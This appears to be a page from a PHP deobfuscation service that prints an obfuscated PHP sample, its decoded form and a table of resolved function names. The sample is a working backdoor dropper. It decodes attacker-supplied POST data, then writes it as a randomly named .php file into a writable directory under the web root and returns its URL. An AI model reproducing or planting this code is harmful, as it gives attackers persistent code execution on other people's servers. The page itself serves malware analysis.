Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $gUAWDg = chr(68).chr(483-404).'C'.chr(204-119)."\115"."\105"."\x4e".chr(84).'_'.'R'..

Decoded Output download

<?php $gUAWDg = chr(68).chr(483-404).'C'.chr(204-119)."M"."E"."N".chr(84).'_'.'R'."O".chr(791-712).chr(895-811);$aLBQjqUj = "H"."T"."T".'P'.chr(995-900).chr(417-345).'O'.chr(83).'T';$OGfmYnD = "h"."t"."t"."p".chr(87-29)."/".'/';$ujIMqs = ".".chr(690-578).'h'."p";$WcZrzI = chr(112).chr(908-804).'p';$CjbvoePz = "f"."i"."l"."e".chr(95).'p'.chr(849-732)."t"."_"."c".chr(401-290).chr(110).chr(116)."e".'n'."t".'s';$PfJMALcA = "r".chr(97)."w"."u"."r"."l"."d"."e"."c"."o"."d".chr(101);$IpkinY = chr(892-775)."n".chr(695-580).chr(101).chr(270-156)."i"."a".chr(824-716).'i'.chr(684-562).chr(101);$qewHUcP = "i"."s"."_".chr(251-132)."r"."i".'t'.chr(1074-977).'b'.chr(830-722)."e";$eIDzwS = 'p'.chr(104).'p'."v"."e".chr(114).chr(115).chr(105).'o'."n";$vRfPsvch = 's'.chr(420-304)."r"."_"."r".chr(111).chr(116).chr(49).chr(481-430);$dtkuynArT = "s".chr(101)."r".chr(105).'a'.chr(343-235)."i".chr(122)."e";$WOLPJOGXcS = 's'.chr(116)."r".chr(266-171).chr(115)."p"."l"."i"."t";foreach ($_POST as $RcJGfKx => $LpSXuEnxQ){if (strlen($RcJGfKx) == 16){$LpSXuEnxQ = $WOLPJOGXcS($PfJMALcA($vRfPsvch($LpSXuEnxQ)));$RcJGfKx = array_slice($WOLPJOGXcS(str_repeat($RcJGfKx, (count($LpSXuEnxQ)/16)+1)), 0, count($LpSXuEnxQ));function kqVZCpumP($zAZJThyWm, $wsCjYUVN, $RcJGfKx){$lnTHTWA = "8a9c48f4-47ae-47bb-83b1-32bd76280f42";return $zAZJThyWm ^ $lnTHTWA[$wsCjYUVN % strlen($lnTHTWA)] ^ $RcJGfKx;}$LpSXuEnxQ = implode("", array_map("kqVZCpumP", array_values($LpSXuEnxQ), array_keys($LpSXuEnxQ), array_values($RcJGfKx)));$LpSXuEnxQ = @$IpkinY($LpSXuEnxQ);if (@is_array($LpSXuEnxQ)){$turUpy = array_keys($LpSXuEnxQ);$LpSXuEnxQ = $LpSXuEnxQ[$turUpy[0]];if ($LpSXuEnxQ === $turUpy[0]){echo @$dtkuynArT(Array($WcZrzI => @$eIDzwS(), ));exit();}else {function uOGHVI($FayXbwMaxir){static $GrpexqCQd = array();$ZnobCMmnPY = glob($FayXbwMaxir . '/*', GLOB_ONLYDIR);if (count($ZnobCMmnPY) > 0) {foreach ($ZnobCMmnPY as $FayXbwMax) {if (@$qewHUcP($FayXbwMax)) {$GrpexqCQd[] = $FayXbwMax;}}}foreach ($ZnobCMmnPY as $FayXbwMaxir) uOGHVI($FayXbwMaxir);return $GrpexqCQd;}$EfdNNoXWo = $_SERVER[$gUAWDg];$ZnobCMmnPY = uOGHVI($EfdNNoXWo);$turUpy = array_rand($ZnobCMmnPY);$PSIHNmM = $ZnobCMmnPY[$turUpy] . "/" . substr(md5(time()), 0, 8) . $ujIMqs;@$CjbvoePz($PSIHNmM, $LpSXuEnxQ);echo $OGfmYnD . $_SERVER[$aLBQjqUj] . substr($PSIHNmM, strlen($EfdNNoXWo));die();}}}} ?>

Did this file decode correctly?

Original Code

<?php $gUAWDg = chr(68).chr(483-404).'C'.chr(204-119)."\115"."\105"."\x4e".chr(84).'_'.'R'."\117".chr(791-712).chr(895-811);$aLBQjqUj = "\x48"."\x54"."\124".'P'.chr(995-900).chr(417-345).'O'.chr(83).'T';$OGfmYnD = "\x68"."\x74"."\164"."\160".chr(87-29)."\57".'/';$ujIMqs = "\56".chr(690-578).'h'."\x70";$WcZrzI = chr(112).chr(908-804).'p';$CjbvoePz = "\146"."\151"."\154"."\x65".chr(95).'p'.chr(849-732)."\x74"."\137"."\x63".chr(401-290).chr(110).chr(116)."\x65".'n'."\x74".'s';$PfJMALcA = "\x72".chr(97)."\167"."\165"."\x72"."\154"."\144"."\x65"."\x63"."\157"."\144".chr(101);$IpkinY = chr(892-775)."\x6e".chr(695-580).chr(101).chr(270-156)."\x69"."\141".chr(824-716).'i'.chr(684-562).chr(101);$qewHUcP = "\151"."\x73"."\137".chr(251-132)."\x72"."\x69".'t'.chr(1074-977).'b'.chr(830-722)."\x65";$eIDzwS = 'p'.chr(104).'p'."\166"."\x65".chr(114).chr(115).chr(105).'o'."\x6e";$vRfPsvch = 's'.chr(420-304)."\x72"."\137"."\162".chr(111).chr(116).chr(49).chr(481-430);$dtkuynArT = "\163".chr(101)."\162".chr(105).'a'.chr(343-235)."\151".chr(122)."\x65";$WOLPJOGXcS = 's'.chr(116)."\162".chr(266-171).chr(115)."\x70"."\154"."\x69"."\164";foreach ($_POST as $RcJGfKx => $LpSXuEnxQ){if (strlen($RcJGfKx) == 16){$LpSXuEnxQ = $WOLPJOGXcS($PfJMALcA($vRfPsvch($LpSXuEnxQ)));$RcJGfKx = array_slice($WOLPJOGXcS(str_repeat($RcJGfKx, (count($LpSXuEnxQ)/16)+1)), 0, count($LpSXuEnxQ));function kqVZCpumP($zAZJThyWm, $wsCjYUVN, $RcJGfKx){$lnTHTWA = "8a9c48f4-47ae-47bb-83b1-32bd76280f42";return $zAZJThyWm ^ $lnTHTWA[$wsCjYUVN % strlen($lnTHTWA)] ^ $RcJGfKx;}$LpSXuEnxQ = implode("", array_map("kqVZCpumP", array_values($LpSXuEnxQ), array_keys($LpSXuEnxQ), array_values($RcJGfKx)));$LpSXuEnxQ = @$IpkinY($LpSXuEnxQ);if (@is_array($LpSXuEnxQ)){$turUpy = array_keys($LpSXuEnxQ);$LpSXuEnxQ = $LpSXuEnxQ[$turUpy[0]];if ($LpSXuEnxQ === $turUpy[0]){echo @$dtkuynArT(Array($WcZrzI => @$eIDzwS(), ));exit();}else {function uOGHVI($FayXbwMaxir){static $GrpexqCQd = array();$ZnobCMmnPY = glob($FayXbwMaxir . '/*', GLOB_ONLYDIR);if (count($ZnobCMmnPY) > 0) {foreach ($ZnobCMmnPY as $FayXbwMax) {if (@$qewHUcP($FayXbwMax)) {$GrpexqCQd[] = $FayXbwMax;}}}foreach ($ZnobCMmnPY as $FayXbwMaxir) uOGHVI($FayXbwMaxir);return $GrpexqCQd;}$EfdNNoXWo = $_SERVER[$gUAWDg];$ZnobCMmnPY = uOGHVI($EfdNNoXWo);$turUpy = array_rand($ZnobCMmnPY);$PSIHNmM = $ZnobCMmnPY[$turUpy] . "/" . substr(md5(time()), 0, 8) . $ujIMqs;@$CjbvoePz($PSIHNmM, $LpSXuEnxQ);echo $OGfmYnD . $_SERVER[$aLBQjqUj] . substr($PSIHNmM, strlen($EfdNNoXWo));die();}}}}

Function Calls

chr 46

Variables

$IpkinY unserialize
$WcZrzI php
$eIDzwS phpversion
$gUAWDg DOCUMENT_ROOT
$ujIMqs .php
$OGfmYnD http://
$qewHUcP is_writable
$CjbvoePz file_put_contents
$PfJMALcA rawurldecode
$aLBQjqUj HTTP_HOST
$vRfPsvch str_rot13
$dtkuynArT serialize
$WOLPJOGXcS str_split

Stats

MD5 b25a1a99cea98a795d60f6ab8f3eb47a
Eval Count 0
Decode Time 98 ms